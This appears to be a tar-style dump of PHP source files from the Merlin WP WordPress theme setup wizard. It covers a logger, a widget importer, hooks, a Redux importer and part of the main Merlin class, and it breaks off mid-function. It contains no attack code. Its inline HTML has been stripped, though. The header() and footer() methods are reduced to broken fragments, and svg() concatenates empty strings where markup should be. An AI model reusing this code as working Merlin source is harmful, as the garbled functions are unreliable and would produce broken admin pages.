https://github.com/Seldaek/monolog */ //use Monolog\Logger as MonologLogger; //use Monolog\Handler\StreamHandler; class Merlin_Logger { /** * @var object instance of the monolog logger class. */ private $log; /** * @var string The absolute path to the log file. */ private $log_path; /** * @var string The name of the logger instance. */ private $logger_name; /** * The instance *Singleton* of this class * * @var object */ private static $instance; /** * Returns the *Singleton* instance of this class. * * @return object EasyDigitalDownloadsFastspring *Singleton* instance. * * @codeCoverageIgnore Nothing to test, default PHP singleton functionality. */ public static function get_instance() { if ( null === static::$instance ) { static::$instance = new static(); } return static::$instance; } /** * Logger constructor. * * Protected constructor to prevent creating a new instance of the * *Singleton* via the `new` operator from outside of this class. */ protected function __construct( $log_path = null, $name = 'merlin-logger' ) { $this->log_path = $log_path; $this->logger_name = $name; if ( empty( $this->log_path ) ) { $upload_dir = wp_upload_dir(); $logger_dir = $upload_dir['basedir'] . '/merlin-wp'; if ( ! file_exists( $logger_dir ) ) { wp_mkdir_p( $logger_dir ); } $this->log_path = $logger_dir . '/main.log'; } $this->initialize_logger(); } /** * Initialize the monolog logger class. */ private function initialize_logger() { if ( empty( $this->log_path ) || empty( $this->logger_name ) ) { return false; } //$this->log = new MonologLogger( $this->logger_name ); //$this->log->pushHandler( new StreamHandler( $this->log_path, MonologLogger::DEBUG ) ); } /** * Log message for log level: debug. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function debug( $message, $context = array() ) { //return $this->log->debug( $message, $context ); } /** * Log message for log level: info. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function info( $message, $context = array() ) { //return $this->log->info( $message, $context ); } /** * Log message for log level: notice. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function notice( $message, $context = array() ) { //return $this->log->notice( $message, $context ); } /** * Log message for log level: warning. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function warning( $message, $context = array() ) { //return $this->log->warning( $message, $context ); } /** * Log message for log level: error. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function error( $message, $context = array() ) { //return $this->log->error( $message, $context ); } /** * Log message for log level: alert. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function alert( $message, $context = array() ) { //return $this->log->alert( $message, $context ); } /** * Log message for log level: emergency. * * @param string $message The log message. * @param array $context The log context. * * @return boolean Whether the record has been processed. */ public function emergency( $message, $context = array() ) { //return $this->log->emergency( $message, $context ); } /** * Private clone method to prevent cloning of the instance of the *Singleton* instance. * * @return void */ //private function __clone() {} /** * Private unserialize method to prevent unserializing of the *Singleton* instance. * * @return void */ //private function __wakeup() {} } ��������������������������������������������������������������������������������������������������������������������������������������������������������merlin/includes/class-merlin-widget-importer.php����������������������������������������������������0000644�����������������00000030623�15154650146�0016075 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for the widget importer. * * Code is mostly from the Widget Importer & Exporter plugin. * * @see https://wordpress.org/plugins/widget-importer-exporter/ * * @package Merlin WP */ class Merlin_Widget_Importer { /** * Import widgets from WIE or JSON file. * * @param string $widget_import_file_path path to the widget import file. */ public static function import( $widget_import_file_path ) { if ( empty( $widget_import_file_path ) ) { return false; } self::unset_default_widgets(); $results = self::import_widgets( $widget_import_file_path ); if ( is_wp_error( $results ) ) { Merlin_Logger::get_instance()->error( $results->get_error_message() ); return false; } ob_start(); self::format_results_for_log( $results ); $message = ob_get_clean(); Merlin_Logger::get_instance()->debug( $message ); return true; } /** * Imports widgets from a json file. * * @param string $data_file path to json file with WordPress widget export data. */ private static function import_widgets( $data_file ) { // Get widgets data from file. $data = self::process_import_file( $data_file ); // Return from this function if there was an error. if ( is_wp_error( $data ) ) { return $data; } // Import the widget data and save the results. return self::import_data( $data ); } /** * Process import file - this parses the widget data and returns it. * * @param string $file path to json file. * @return WP_Error|object */ private static function process_import_file( $file ) { // File exists? if ( ! file_exists( $file ) ) { return new \WP_Error( 'widget_import_file_not_found', __( 'Error: Widget import file could not be found.', 'merlin-wp' ) ); } // Get file contents and decode. $data = file_get_contents( $file ); // Return from this function if there was an error. if ( empty( $data ) ) { return new \WP_Error( 'widget_import_file_missing_content', __( 'Error: Widget import file does not have any content in it.', 'merlin-wp' ) ); } return json_decode( $data ); } /** * Import widget JSON data * * @global array $wp_registered_sidebars * @param object $data JSON widget data. * @return array|WP_Error */ private static function import_data( $data ) { global $wp_registered_sidebars; // Have valid data? If no data or could not decode. if ( empty( $data ) || ! is_object( $data ) ) { return new \WP_Error( 'corrupted_widget_import_data', __( 'Error: Widget import data could not be read. Please try a different file.', 'merlin-wp' ) ); } // Hook before import. do_action( 'merlin_widget_importer_before_widgets_import', $data ); $data = apply_filters( 'merlin_before_widgets_import_data', $data ); // Get all available widgets site supports. $available_widgets = self::available_widgets(); // Get all existing widget instances. $widget_instances = array(); foreach ( $available_widgets as $widget_data ) { $widget_instances[ $widget_data['id_base'] ] = get_option( 'widget_' . $widget_data['id_base'] ); } // Begin results. $results = array(); // Loop import data's sidebars. foreach ( $data as $sidebar_id => $widgets ) { // Skip inactive widgets (should not be in export file). if ( 'wp_inactive_widgets' == $sidebar_id ) { continue; } // Check if sidebar is available on this site. Otherwise add widgets to inactive, and say so. if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) { $sidebar_available = true; $use_sidebar_id = $sidebar_id; $sidebar_message_type = 'success'; $sidebar_message = ''; } else { $sidebar_available = false; $use_sidebar_id = 'wp_inactive_widgets'; // Add to inactive if sidebar does not exist in theme. $sidebar_message_type = 'error'; $sidebar_message = __( 'Sidebar does not exist in theme (moving widget to Inactive)', 'merlin-wp' ); } // Result for sidebar. $results[ $sidebar_id ]['name'] = ! empty( $wp_registered_sidebars[ $sidebar_id ]['name'] ) ? $wp_registered_sidebars[ $sidebar_id ]['name'] : $sidebar_id; // Sidebar name if theme supports it; otherwise ID. $results[ $sidebar_id ]['message_type'] = $sidebar_message_type; $results[ $sidebar_id ]['message'] = $sidebar_message; $results[ $sidebar_id ]['widgets'] = array(); // Loop widgets. foreach ( $widgets as $widget_instance_id => $widget ) { $fail = false; // Get id_base (remove -# from end) and instance ID number. $id_base = preg_replace( '/-[0-9]+$/', '', $widget_instance_id ); $instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id ); // Does site support this widget? if ( ! $fail && ! isset( $available_widgets[ $id_base ] ) ) { $fail = true; $widget_message_type = 'error'; $widget_message = __( 'Site does not support widget', 'merlin-wp' ); // Explain why widget not imported. } // Filter to modify settings object before conversion to array and import. // Leave this filter here for backwards compatibility with manipulating objects (before conversion to array below). // Ideally the newer wie_widget_settings_array below will be used instead of this. $widget = apply_filters( 'merlin_widget_settings', $widget ); // Object. // Convert multidimensional objects to multidimensional arrays. // Some plugins like Jetpack Widget Visibility store settings as multidimensional arrays. // Without this, they are imported as objects and cause fatal error on Widgets page. // If this creates problems for plugins that do actually intend settings in objects then may need to consider other approach: https://wordpress.org/support/topic/problem-with-array-of-arrays. // It is probably much more likely that arrays are used than objects, however. $widget = json_decode( json_encode( $widget ), true ); // Filter to modify settings array. // This is preferred over the older wie_widget_settings filter above. // Do before identical check because changes may make it identical to end result (such as URL replacements). $widget = apply_filters( 'merlin_widget_settings_array', $widget ); // Does widget with identical settings already exist in same sidebar? if ( ! $fail && isset( $widget_instances[ $id_base ] ) ) { // Get existing widgets in this sidebar. $sidebars_widgets = get_option( 'sidebars_widgets' ); $sidebar_widgets = isset( $sidebars_widgets[ $use_sidebar_id ] ) ? $sidebars_widgets[ $use_sidebar_id ] : array(); // Check Inactive if that's where will go. // Loop widgets with ID base. $single_widget_instances = ! empty( $widget_instances[ $id_base ] ) ? $widget_instances[ $id_base ] : array(); foreach ( $single_widget_instances as $check_id => $check_widget ) { // Is widget in same sidebar and has identical settings? if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) { $fail = true; $widget_message_type = 'warning'; $widget_message = __( 'Widget already exists', 'merlin-wp' ); // Explain why widget not imported. break; } } } // No failure. if ( ! $fail ) { // Add widget instance. $single_widget_instances = get_option( 'widget_' . $id_base ); // All instances for that widget ID base, get fresh every time. $single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // Start fresh if have to. $single_widget_instances[] = $widget; // Add it. // Get the key it was given. end( $single_widget_instances ); $new_instance_id_number = key( $single_widget_instances ); // If key is 0, make it 1. // When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it). if ( '0' === strval( $new_instance_id_number ) ) { $new_instance_id_number = 1; $single_widget_instances[ $new_instance_id_number ] = $single_widget_instances[0]; unset( $single_widget_instances[0] ); } // Move _multiwidget to end of array for uniformity. if ( isset( $single_widget_instances['_multiwidget'] ) ) { $multiwidget = $single_widget_instances['_multiwidget']; unset( $single_widget_instances['_multiwidget'] ); $single_widget_instances['_multiwidget'] = $multiwidget; } // Update option with new widget. update_option( 'widget_' . $id_base, $single_widget_instances ); // Assign widget instance to sidebar. $sidebars_widgets = get_option( 'sidebars_widgets' ); // Which sidebars have which widgets, get fresh every time. $new_instance_id = $id_base . '-' . $new_instance_id_number; // Use ID number from new widget instance. $sidebars_widgets[ $use_sidebar_id ][] = $new_instance_id; // Add new instance to sidebar. update_option( 'sidebars_widgets', $sidebars_widgets ); // Save the amended data. // After widget import action. $after_widget_import = array( 'sidebar' => $use_sidebar_id, 'sidebar_old' => $sidebar_id, 'widget' => $widget, 'widget_type' => $id_base, 'widget_id' => $new_instance_id, 'widget_id_old' => $widget_instance_id, 'widget_id_num' => $new_instance_id_number, 'widget_id_num_old' => $instance_id_number, ); do_action( 'merlin_widget_importer_after_single_widget_import', $after_widget_import ); // Success message. if ( $sidebar_available ) { $widget_message_type = 'success'; $widget_message = __( 'Imported', 'merlin-wp' ); } else { $widget_message_type = 'warning'; $widget_message = __( 'Imported to Inactive', 'merlin-wp' ); } } // Result for widget instance. $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['name'] = isset( $available_widgets[ $id_base ]['name'] ) ? $available_widgets[ $id_base ]['name'] : $id_base; // Widget name or ID if name not available (not supported by site). $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['title'] = ! empty( $widget['title'] ) ? $widget['title'] : __( 'No Title', 'merlin-wp' ); // Show "No Title" if widget instance is untitled. $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message_type'] = $widget_message_type; $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message'] = $widget_message; } } // Hook after import. do_action( 'merlin_widget_importer_after_widgets_import', $data ); // Return results. return apply_filters( 'merlin_widget_import_results', $results ); } /** * Available widgets. * * Gather site's widgets into array with ID base, name, etc. * * @global array $wp_registered_widget_controls * @return array $available_widgets, Widget information */ private static function available_widgets() { global $wp_registered_widget_controls; $widget_controls = $wp_registered_widget_controls; $available_widgets = array(); foreach ( $widget_controls as $widget ) { if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[ $widget['id_base'] ] ) ) { $available_widgets[ $widget['id_base'] ]['id_base'] = $widget['id_base']; $available_widgets[ $widget['id_base'] ]['name'] = $widget['name']; } } return apply_filters( 'merlin_available_widgets', $available_widgets ); } /** * Remove widgets from sidebars. * By default none are removed, but with the filter you can remove them. */ private static function unset_default_widgets() { $widget_areas = apply_filters( 'merlin_unset_default_widgets_args', false ); if ( empty( $widget_areas ) ) { return false; } update_option( 'sidebars_widgets', $widget_areas ); } /** * Format results for log file * * @param array $results widget import results. */ private static function format_results_for_log( $results ) { if ( empty( $results ) ) { esc_html_e( 'No results for widget import!', 'merlin-wp' ); } // Loop sidebars. foreach ( $results as $sidebar ) { echo esc_html( $sidebar['name'] ) . ' : ' . esc_html( $sidebar['message'] ) . PHP_EOL . PHP_EOL; // Loop widgets. foreach ( $sidebar['widgets'] as $widget ) { echo esc_html( $widget['name'] ) . ' - ' . esc_html( $widget['title'] ) . ' - ' . esc_html( $widget['message'] ) . PHP_EOL; } echo PHP_EOL; } } } �������������������������������������������������������������������������������������������������������������merlin/includes/class-merlin-hooks.php��������������������������������������������������������������0000644�����������������00000004300�15154650146�0014067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for the custom WP hooks. * * @package Merlin WP */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } class Merlin_Hooks { /** * The class constructor. */ public function __construct() { add_action( 'merlin_widget_settings_array', array( $this, 'fix_custom_menu_widget_ids' ) ); add_action( 'import_start', array( $this, 'maybe_disable_creating_different_size_images_during_import' ) ); } /** * Change the menu IDs in the custom menu widgets in the widget import data. * This solves the issue with custom menu widgets not having the correct (new) menu ID, because they * have the old menu ID from the export site. * * @param array $widget The widget settings array. */ public function fix_custom_menu_widget_ids( $widget ) { // Skip (no changes needed), if this is not a custom menu widget. if ( ! array_key_exists( 'nav_menu', $widget ) || empty( $widget['nav_menu'] ) || ! is_int( $widget['nav_menu'] ) ) { return $widget; } // Get import data, with new menu IDs. $importer = new ProteusThemes\WPContentImporter2\Importer( array( 'fetch_attachments' => true ), new ProteusThemes\WPContentImporter2\WPImporterLogger() ); $importer->restore_import_data_transient(); $importer_mapping = $importer->get_mapping(); $term_ids = empty( $importer_mapping['term_id'] ) ? array() : $importer_mapping['term_id']; // Set the new menu ID for the widget. $widget['nav_menu'] = empty( $term_ids[ $widget['nav_menu'] ] ) ? $widget['nav_menu'] : $term_ids[ $widget['nav_menu'] ]; return $widget; } /** * Wrapper function for the after all import action hook. * * @param int $selected_import_index The selected demo import index. */ public function after_all_import_action( $selected_import_index ) { do_action( 'merlin_after_all_import', $selected_import_index ); return true; } /** * Maybe disables generation of multiple image sizes (thumbnails) in the content import step. */ public function maybe_disable_creating_different_size_images_during_import() { if ( ! apply_filters( 'merlin_regenerate_thumbnails_in_content_import', true ) ) { add_filter( 'intermediate_image_sizes_advanced', '__return_null' ); } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/includes/class-merlin-redux-importer.php�����������������������������������������������������0000644�����������������00000002173�15154650146�0015740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for the Redux importer. * * @see https://wordpress.org/plugins/redux-framework/ * * @package Merlin WP */ class Merlin_Redux_Importer { /** * Import Redux data from a JSON file, generated by the Redux plugin. * * @param array $import_data Array of arrays. Child array contains 'option_name' and 'file_path'. * * @return boolean */ public static function import( $import_data ) { // Redux plugin is not active! if ( ! class_exists( 'ReduxFramework' ) || ! class_exists( 'ReduxFrameworkInstances' ) || empty( $import_data ) ) { return false; } foreach ( $import_data as $redux_item ) { $redux_options_raw_data = file_get_contents( $redux_item['file_path'] ); $redux_options_data = json_decode( $redux_options_raw_data, true ); $redux_framework = ReduxFrameworkInstances::get_instance( $redux_item['option_name'] ); if ( isset( $redux_framework->args['opt_name'] ) ) { $redux_framework->set_options( $redux_options_data ); Merlin_Logger::get_instance()->debug( __( 'The Redux Framework data was imported' , 'merlin-wp'), $redux_item ); } } return true; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/class-merlin.php�����������������������������������������������������������������������������0000644�����������������00000236136�15154650146�0011156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Merlin WP * Better WordPress Theme Onboarding * * The following code is a derivative work from the * Envato WordPress Theme Setup Wizard by David Baker. * * @package Merlin WP * @version 1.0.0 * @link https://merlinwp.com/ * @author Rich Tabor, from ThemeBeans.com & the team at ProteusThemes.com * @copyright Copyright (c) 2018, Merlin WP of Inventionn LLC * @license Licensed GPLv3 for Open Source Use */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Merlin. */ class Merlin { /** * Current theme. * * @var object WP_Theme */ protected $theme; /** * Current step. * * @var string */ protected $step = ''; /** * Steps. * * @var array */ protected $steps = array(); /** * TGMPA instance. * * @var object */ protected $tgmpa; /** * Importer. * * @var array */ protected $importer; /** * WP Hook class. * * @var Merlin_Hooks */ protected $hooks; /** * Holds the verified import files. * * @var array */ public $import_files; /** * The base import file name. * * @var string */ public $import_file_base_name; /** * Helper. * * @var array */ protected $helper; /** * Updater. * * @var array */ protected $updater; /** * The text string array. * * @var array $strings */ protected $strings = null; /** * The base path where Merlin is located. * * @var array $strings */ protected $base_path = null; /** * The base url where Merlin is located. * * @var array $strings */ protected $base_url = null; /** * The location where Merlin is located within the theme or plugin. * * @var string $directory */ protected $directory = null; /** * Top level admin page. * * @var string $merlin_url */ protected $merlin_url = null; /** * The wp-admin parent page slug for the admin menu item. * * @var string $parent_slug */ protected $parent_slug = null; /** * The capability required for this menu to be displayed to the user. * * @var string $capability */ protected $capability = null; /** * The URL for the "Learn more about child themes" link. * * @var string $child_action_btn_url */ protected $child_action_btn_url = null; /** * The flag, to mark, if the theme license step should be enabled. * * @var boolean $license_step_enabled */ protected $license_step_enabled = false; /** * The URL for the "Where can I find the license key?" link. * * @var string $theme_license_help_url */ protected $theme_license_help_url = null; /** * Remove the "Skip" button, if required. * * @var string $license_required */ protected $license_required = null; /** * The item name of the EDD product (this theme). * * @var string $edd_item_name */ protected $edd_item_name = null; /** * The theme slug of the EDD product (this theme). * * @var string $edd_theme_slug */ protected $edd_theme_slug = null; /** * The remote_api_url of the EDD shop. * * @var string $edd_remote_api_url */ protected $edd_remote_api_url = null; /** * Turn on dev mode if you're developing. * * @var string $dev_mode */ protected $dev_mode = false; /** * Ignore. * * @var string $ignore */ public $ignore = null; /** * The object with logging functionality. * * @var Logger $logger */ public $logger; /** * Setup plugin version. * * @access private * @since 1.0 * @return void */ private function version() { if ( ! defined( 'MERLIN_VERSION' ) ) { define( 'MERLIN_VERSION', '1.0.0' ); } } /** * Class Constructor. * * @param array $config Package-specific configuration args. * @param array $strings Text for the different elements. */ function __construct( $config = array(), $strings = array() ) { $this->version(); $config = wp_parse_args( $config, array( 'base_path' => get_parent_theme_file_path(), 'base_url' => get_parent_theme_file_uri(), 'directory' => 'merlin', 'merlin_url' => 'merlin', 'parent_slug' => 'themes.php', 'capability' => 'manage_options', 'child_action_btn_url' => '', 'dev_mode' => '', 'ready_big_button_url' => home_url( '/' ), ) ); // Set config arguments. $this->base_path = $config['base_path']; $this->base_url = $config['base_url']; $this->directory = $config['directory']; $this->merlin_url = $config['merlin_url']; $this->parent_slug = $config['parent_slug']; $this->capability = $config['capability']; $this->child_action_btn_url = $config['child_action_btn_url']; $this->license_step_enabled = $config['license_step']; $this->theme_license_help_url = $config['license_help_url']; $this->license_required = $config['license_required']; $this->edd_item_name = $config['edd_item_name']; $this->edd_theme_slug = $config['edd_theme_slug']; $this->edd_remote_api_url = $config['edd_remote_api_url']; $this->dev_mode = $config['dev_mode']; $this->ready_big_button_url = $config['ready_big_button_url']; // Strings passed in from the config file. $this->strings = $strings; // Retrieve a WP_Theme object. $this->theme = wp_get_theme(); $this->slug = strtolower( preg_replace( '#[^a-zA-Z]#', '', $this->theme->template ) ); // Set the ignore option. $this->ignore = $this->slug . '_ignore'; // Is Dev Mode turned on? if ( true !== $this->dev_mode ) { // Has this theme been setup yet? $already_setup = get_option( 'merlin_' . $this->slug . '_completed' ); // Return if Merlin has already completed it's setup. if ( $already_setup ) { return; } } // Get the logger object, so it can be used in the whole class. require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-logger.php'; $this->logger = Merlin_Logger::get_instance(); // Get TGMPA. if ( class_exists( 'TGM_Plugin_Activation' ) ) { $this->tgmpa = isset( $GLOBALS['tgmpa'] ) ? $GLOBALS['tgmpa'] : TGM_Plugin_Activation::get_instance(); } add_action( 'admin_init', array( $this, 'required_classes' ) ); add_action( 'admin_init', array( $this, 'redirect' ), 30 ); add_action( 'after_switch_theme', array( $this, 'switch_theme' ) ); add_action( 'admin_init', array( $this, 'steps' ), 30, 0 ); add_action( 'admin_menu', array( $this, 'add_admin_menu' ) ); add_action( 'admin_init', array( $this, 'admin_page' ), 30, 0 ); add_action( 'admin_init', array( $this, 'ignore' ), 5 ); add_action( 'merlin_admin_footer', array( $this, 'svg_sprite' ) ); add_filter( 'tgmpa_load', array( $this, 'load_tgmpa' ), 10, 1 ); add_action( 'wp_ajax_merlin_content', array( $this, '_ajax_content' ), 10, 0 ); add_action( 'wp_ajax_merlin_get_total_content_import_items', array( $this, '_ajax_get_total_content_import_items' ), 10, 0 ); add_action( 'wp_ajax_merlin_plugins', array( $this, '_ajax_plugins' ), 10, 0 ); add_action( 'wp_ajax_merlin_child_theme', array( $this, 'generate_child' ), 10, 0 ); add_action( 'wp_ajax_merlin_activate_license', array( $this, '_ajax_activate_license' ), 10, 0 ); add_action( 'wp_ajax_merlin_update_selected_import_data_info', array( $this, 'update_selected_import_data_info' ), 10, 0 ); add_action( 'wp_ajax_merlin_import_finished', array( $this, 'import_finished' ), 10, 0 ); add_filter( 'pt-importer/new_ajax_request_response_data', array( $this, 'pt_importer_new_ajax_request_response_data' ) ); add_action( 'import_end', array( $this, 'after_content_import_setup' ) ); add_action( 'import_start', array( $this, 'before_content_import_setup' ) ); add_action( 'admin_init', array( $this, 'register_import_files' ) ); } /** * Require necessary classes. */ function required_classes() { if ( ! class_exists( '\WP_Importer' ) ) { require ABSPATH . '/wp-admin/includes/class-wp-importer.php'; } require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-downloader.php'; $this->importer = new ProteusThemes\WPContentImporter2\Importer( array( 'fetch_attachments' => true ), $this->logger ); require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-widget-importer.php'; if ( ! class_exists( 'WP_Customize_Setting' ) ) { require_once ABSPATH . 'wp-includes/class-wp-customize-setting.php'; } require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-customizer-option.php'; require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-customizer-importer.php'; require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-redux-importer.php'; require_once trailingslashit( $this->base_path ) . $this->directory . '/includes/class-merlin-hooks.php'; $this->hooks = new Merlin_Hooks(); if ( class_exists( 'EDD_Theme_Updater_Admin' ) ) { $this->updater = new EDD_Theme_Updater_Admin(); } } /** * Set redirection transient on theme switch. */ public function switch_theme() { if ( ! is_child_theme() ) { set_transient( $this->theme->template . '_merlin_redirect', 1 ); } } /** * Redirection transient. */ public function redirect() { if ( ! get_transient( $this->theme->template . '_merlin_redirect' ) ) { return; } delete_transient( $this->theme->template . '_merlin_redirect' ); wp_safe_redirect( menu_page_url( $this->merlin_url, false ) ); exit; } /** * Give the user the ability to ignore Merlin WP. */ public function ignore() { // Bail out if not on correct page. if ( ! isset( $_GET['_wpnonce'] ) || ( ! wp_verify_nonce( $_GET['_wpnonce'], 'merlinwp-ignore-nounce' ) || ! is_admin() || ! isset( $_GET[ $this->ignore ] ) || ! current_user_can( 'manage_options' ) ) ) { return; } update_option( 'merlin_' . $this->slug . '_completed', 'ignored' ); } /** * Conditionally load TGMPA * * @param string $status User's manage capabilities. */ public function load_tgmpa( $status ) { return is_admin() || current_user_can( 'install_themes' ); } /** * Determine if the user already has theme content installed. * This can happen if swapping from a previous theme or updated the current theme. * We change the UI a bit when updating / swapping to a new theme. * * @access public */ protected function is_possible_upgrade() { return false; } /** * Add the admin menu item, under Appearance. */ public function add_admin_menu() { // Strings passed in from the config file. $strings = $this->strings; $this->hook_suffix = add_submenu_page( esc_html( $this->parent_slug ), esc_html( $strings['admin-menu'] ), esc_html( $strings['admin-menu'] ), sanitize_key( $this->capability ), sanitize_key( $this->merlin_url ), array( $this, 'admin_page' ) ); } /** * Add the admin page. */ public function admin_page() { // Strings passed in from the config file. $strings = $this->strings; // Do not proceed, if we're not on the right page. if ( empty( $_GET['page'] ) || $this->merlin_url !== $_GET['page'] ) { return; } if ( ob_get_length() ) { ob_end_clean(); } $this->step = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) ); // Use minified libraries if dev mode is turned on. $suffix = ( ( true === $this->dev_mode ) ) ? '' : '.min'; // Enqueue styles. wp_enqueue_style( 'merlin', trailingslashit( $this->base_url ) . $this->directory . '/assets/css/merlin' . $suffix . '.css', array( 'wp-admin' ), MERLIN_VERSION ); // Enqueue javascript. wp_enqueue_script( 'merlin', trailingslashit( $this->base_url ) . $this->directory . '/assets/js/merlin' . $suffix . '.js', array( 'jquery-core' ), MERLIN_VERSION ); $texts = array( 'something_went_wrong' => esc_html__( 'Something went wrong. Please refresh the page and try again!', 'merlin-wp' ), ); // Localize the javascript. if ( class_exists( 'TGM_Plugin_Activation' ) ) { // Check first if TMGPA is included. wp_localize_script( 'merlin', 'merlin_params', array( 'tgm_plugin_nonce' => array( 'update' => wp_create_nonce( 'tgmpa-update' ), 'install' => wp_create_nonce( 'tgmpa-install' ), ), 'tgm_bulk_url' => $this->tgmpa->get_tgmpa_url(), 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'wpnonce' => wp_create_nonce( 'merlin_nonce' ), 'texts' => $texts, ) ); } else { // If TMGPA is not included. wp_localize_script( 'merlin', 'merlin_params', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'wpnonce' => wp_create_nonce( 'merlin_nonce' ), 'texts' => $texts, ) ); } ob_start(); /** * Start the actual page content. */ $this->header(); ?> <div class="merlin__wrapper"> <div class="merlin__content merlin__content--<?php echo esc_attr( strtolower( $this->steps[ $this->step ]['name'] ) ); ?>"> <?php // Content Handlers. $show_content = true; if ( ! empty( $_REQUEST['save_step'] ) && isset( $this->steps[ $this->step ]['handler'] ) ) { $show_content = call_user_func( $this->steps[ $this->step ]['handler'] ); } if ( $show_content ) { $this->body(); } ?> <?php $this->step_output(); ?> </div> <?php echo sprintf( '<a class="return-to-dashboard" href="%s">%s</a>', esc_url( admin_url( '/' ) ), esc_html( $strings['return-to-dashboard'] ) ); ?> <?php $ignore_url = wp_nonce_url( admin_url( '?' . $this->ignore . '=true' ), 'merlinwp-ignore-nounce' ); ?> <?php echo sprintf( '<a class="return-to-dashboard ignore" href="%s">%s</a>', esc_url( $ignore_url ), esc_html( $strings['ignore'] ) ); ?> </div> <?php $this->footer(); ?> <?php exit; } /** * Output the header. */ protected function header() { // Strings passed in from the config file. $strings = $this->strings; // Get the current step. $current_step = strtolower( $this->steps[ $this->step ]['name'] ); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width"/> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <?php printf( esc_html( $strings['title%s%s%s%s'] ), '<ti', 'tle>', esc_html( $this->theme->name ), '' ); ?> steps[ $this->step ] ) ? call_user_func( $this->steps[ $this->step ]['view'] ) : false; } /** * Output the footer. */ protected function footer() { ?> base_path ) . $this->directory . '/assets/images/sprite.svg'; // If it exists, include it. if ( file_exists( $svg ) ) { require_once apply_filters( 'merlin_svg_sprite', $svg ); } } /** * Return SVG markup. * * @param array $args { * Parameters needed to display an SVG. * * @type string $icon Required SVG icon filename. * @type string $title Optional SVG title. * @type string $desc Optional SVG description. * } * @return string SVG markup. */ public function svg( $args = array() ) { // Make sure $args are an array. if ( empty( $args ) ) { return __( 'Please define default parameters in the form of an array.', 'merlin-wp' ); } // Define an icon. if ( false === array_key_exists( 'icon', $args ) ) { return __( 'Please define an SVG icon filename.', 'merlin-wp' ); } // Set defaults. $defaults = array( 'icon' => '', 'title' => '', 'desc' => '', 'aria_hidden' => true, // Hide from screen readers. 'fallback' => false, ); // Parse args. $args = wp_parse_args( $args, $defaults ); // Set aria hidden. $aria_hidden = ''; if ( true === $args['aria_hidden'] ) { $aria_hidden = ' aria-hidden="true"'; } // Set ARIA. $aria_labelledby = ''; if ( $args['title'] && $args['desc'] ) { $aria_labelledby = ' aria-labelledby="title desc"'; } // Begin SVG markup. $svg = ''; // If there is a title, display it. if ( $args['title'] ) { $svg .= '' . esc_html( $args['title'] ) . ''; } // If there is a description, display it. if ( $args['desc'] ) { $svg .= '' . esc_html( $args['desc'] ) . ''; } $svg .= ''; // Add some markup to use as a fallback for browsers that do not support SVGs. if ( $args['fallback'] ) { $svg .= ''; } $svg .= ''; return $svg; } /** * Allowed HTML for sprites. */ public function svg_allowed_html() { $array = array( 'svg' => array( 'class' => array(), 'aria-hidden' => array(), 'role' => array(), ), 'use' => array( 'xlink:href' => array(), ), ); return apply_filters( 'merlin_svg_allowed_html', $array ); } /** * Loading merlin-spinner. */ public function loading_spinner() { // Define the spinner file. $spinner = $this->directory . '/assets/images/spinner'; // Retrieve the spinner. get_template_part( apply_filters( 'merlin_loading_spinner', $spinner ) ); } /** * Allowed HTML for the loading spinner. */ public function loading_spinner_allowed_html() { $array = array( 'span' => array( 'class' => array(), ), 'cite' => array( 'class' => array(), ), ); return apply_filters( 'merlin_loading_spinner_allowed_html', $array ); } /** * Setup steps. */ public function steps() { $this->steps = array( 'welcome' => array( 'name' => esc_html__( 'Welcome', 'merlin-wp' ), 'view' => array( $this, 'welcome' ), 'handler' => array( $this, 'welcome_handler' ), ), ); $this->steps['child'] = array( 'name' => esc_html__( 'Child', 'merlin-wp' ), 'view' => array( $this, 'child' ), ); if ( $this->license_step_enabled ) { $this->steps['license'] = array( 'name' => esc_html__( 'License', 'merlin-wp' ), 'view' => array( $this, 'license' ), ); } // Show the plugin importer, only if 